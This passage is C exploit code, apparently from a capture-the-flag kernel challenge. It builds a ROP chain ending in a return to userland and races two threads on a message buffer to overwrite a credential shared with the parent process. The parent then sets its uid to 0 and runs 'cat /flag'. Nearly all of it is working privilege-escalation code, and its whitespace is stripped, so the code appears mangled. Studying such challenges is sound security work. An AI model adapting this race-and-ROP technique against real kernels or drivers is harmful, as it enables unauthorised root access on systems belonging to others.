*chain++=mov_dword_ptr_rsi_r8d_pop_rbp;*chain++=0x4141414141414141;// Return to userland
*chain++=thread_exception_return;// Store ROPChain in heap chunk
leave_message(1,&ropChain[0x8],0x200);/*
Trigger Race Condition:
- Create a new thread which will call leave_message(0, ropChain, 0x100);
- In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
- Race is success if:
- chunk+0x98 is set to 1
- yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
*/pthread_tth;pthread_create(&th,NULL,race,NULL);chartest[0x100];memset(test,0,sizeof(test));for(inti=0;i<loop_end;i++){leave_message(1,&ropChain[0x8],0x200);// Race will be triggered in baby_read
// If it is triggered, the shared cred between this child process and parent process
// will have svuid set to 0, and the parent can become a root.
baby_read(test,0x100);}puts("Out...");sleep(100000);return0;}else{// Parent process, will sleep first to wait the child overwriting the shared cred
sleep(2);puts("Sleep...");sleep(2);charbuf[0x100];memset(buf,0,sizeof(buf));while(1){// setuid and cat /flag
seteuid(0);setuid(0);setgid(0);if(getuid()==0){printf("WIN\n");system("cat /flag");break;}}puts("Here...");}return0;}